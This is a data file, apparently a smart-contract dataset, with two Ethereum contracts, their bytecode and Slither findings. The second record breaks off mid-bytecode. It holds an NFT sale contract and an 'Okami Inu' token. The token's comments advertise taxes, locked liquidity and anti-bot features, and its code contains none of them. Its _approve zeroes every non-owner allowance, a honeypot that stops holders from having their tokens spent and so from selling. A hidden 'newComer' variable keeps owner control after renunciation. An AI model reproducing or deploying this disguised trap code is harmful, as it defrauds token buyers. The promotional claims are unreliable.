address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0xac0fb1bfb59122c1d906196ebdb80d5f2e0724dd
|
//SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC1155 {
event TransferSingle(
address indexed _operator,
address indexed _from,
address indexed _to,
uint256 _id,
uint256 _amount
);
event TransferBatch(
address indexed _operator,
address indexed _from,
address indexed _to,
uint256[] _ids,
uint256[] _amounts
);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
event URI(string _amount, uint256 indexed _id);
function mint(
address _to,
uint256 _id,
uint256 _quantity,
bytes calldata _data
) external;
function create(
uint256 _maxSupply,
uint256 _initialSupply,
string calldata _uri,
bytes calldata _data
) external returns (uint256 tokenId);
function safeTransferFrom(
address _from,
address _to,
uint256 _id,
uint256 _amount,
bytes calldata _data
) external;
function safeBatchTransferFrom(
address _from,
address _to,
uint256[] calldata _ids,
uint256[] calldata _amounts,
bytes calldata _data
) external;
function balanceOf(address _owner, uint256 _id) external view returns (uint256);
function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids)
external
view
returns (uint256[] memory);
function setApprovalForAll(address _operator, bool _approved) external;
function isApprovedForAll(address _owner, address _operator) external view returns (bool isOperator);
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract NFTSwapper_Staffer is Ownable {
uint256 public nftid;
mapping(address => bool) private purchased;
address public seller;
address public rarigang;
address public currency;
uint256 public price;
bool public active;
constructor(uint256 _nftid, address _seller, bool _active, address _rarigang, address _currency, uint256 _price) public{
nftid = _nftid;
seller = _seller;
active = _active;
rarigang = _rarigang;
currency = _currency;
price = _price;
}
function setActive(bool isActive) public onlyOwner{
active = isActive;
}
function hasPurchased(address buyer) public view returns (bool){
return purchased[buyer];
}
function purchase() public {
require(!purchased[msg.sender], "Cannot buy: Already purchased!");
require(active, "Cannot buy: Market not active!");
require(IERC1155(rarigang).balanceOf(seller, nftid) > 0, "Cannot buy: No more available!");
require(IERC20(currency).balanceOf(msg.sender) >= price*1e18, "Cannot buy: Need more coin!");
IERC1155(rarigang).safeTransferFrom(seller, msg.sender, nftid, 1, "");
IERC20(currency).transferFrom(msg.sender, 0x000000000000000000000000000000000000dEaD, price*1e18);
purchased[msg.sender] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c80638f32d59b1161008c578063a035b1fe11610066578063a035b1fe14610284578063acec338a146102a2578063e5a6b10f146102d2578063f2fde38b1461031c576100cf565b80638f32d59b146101bc57806390118fb4146101de578063994f4f9f1461023a576100cf565b806302fb0c5e146100d457806308551a53146100f657806364edfbf0146101405780636fd976bc1461014a578063715018a6146101685780638da5cb5b14610172575b600080fd5b6100dc610360565b604051808215151515815260200191505060405180910390f35b6100fe610373565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610148610399565b005b610152610a67565b6040518082815260200191505060405180910390f35b610170610a6d565b005b61017a610ba6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101c4610bcf565b604051808215151515815260200191505060405180910390f35b610220600480360360208110156101f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c2d565b604051808215151515815260200191505060405180910390f35b610242610c83565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61028c610ca9565b6040518082815260200191505060405180910390f35b6102d0600480360360208110156102b857600080fd5b81019080803515159060200190929190505050610caf565b005b6102da610d46565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61035e6004803603602081101561033257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d6c565b005b600760009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610459576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43616e6e6f74206275793a20416c72656164792070757263686173656421000081525060200191505060405180910390fd5b600760009054906101000a900460ff166104db576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43616e6e6f74206275793a204d61726b6574206e6f742061637469766521000081525060200191505060405180910390fd5b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1662fdd58e600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060206040518083038186803b1580156105a757600080fd5b505afa1580156105bb573d6000803e3d6000fd5b505050506040513d60208110156105d157600080fd5b810190808051906020019092919050505011610655576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43616e6e6f74206275793a204e6f206d6f726520617661696c61626c6521000081525060200191505060405180910390fd5b670de0b6b3a764000060065402600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561070157600080fd5b505afa158015610715573d6000803e3d6000fd5b505050506040513d602081101561072b57600080fd5b810190808051906020019092919050505010156107b0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f43616e6e6f74206275793a204e656564206d6f726520636f696e21000000000081525060200191505060405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f242432a600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163360015460016040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020018060200182810382526000815260200160200195505050505050600060405180830381600087803b1580156108ce57600080fd5b505af11580156108e2573d6000803e3d6000fd5b50505050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3361dead670de0b6b3a7640000600654026040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156109d157600080fd5b505af11580156109e5573d6000803e3d6000fd5b505050506040513d60208110156109fb57600080fd5b8101908080519060200190929190505050506001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550565b60015481565b610a75610bcf565b610ae7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c11610df2565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b610cb7610bcf565b610d29576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600760006101000a81548160ff02191690831515021790555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d74610bcf565b610de6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610def81610dfa565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610f3f6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a265627a7a72315820520ca3acf5ec4effa79343ae9b25e539dbd5a658d7c84cd85c23cdae26e4367d64736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 2,600 |
0x723fd10185581fc420b207809e14b48e0c0fb58d
|
/**
*Submitted for verification at Etherscan.io on 2022-01-25
*/
/*
The goal of Ōkami is to be a world recognized token.
Utility will always be important to Ōkami as we aim to be recognized among the top currencies in the world.
Ōkami plans to bring utility through multiple avenues across the Ōkami Inu ecosystem to maximize and incentives business across the world to accept Ōkami as a form of payment.
💰Tax Information💰
🌹10% Ecosystem & Marketing
- Okami Swap
- ETH and BNB Bridge
- NFT LaunchPad
- Publicity, Materials
🌹2% Liquidity
👑 1 hour: 24% (12% liquidity 12% ecosystem)
📢 24 hours: 18% (6% liquidity 12% ecosystem)
❤️ 30 Day: NO TAX...ZERO
💥🌕 Additional Details 🌕💥
🪙 1 Billion Tokens
🔑 Liquidity Will Be Locked
🎁 Verified Contract
🎁 Max Wallet & Max Tx
🎁 Anti-Bot Measures
‼️ Fair Launch NO Pre-Sale
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract OkamiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**6* 10**18;
string private _name = 'Okami Inu ' ;
string private _symbol = 'OKAMI ' ;
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff16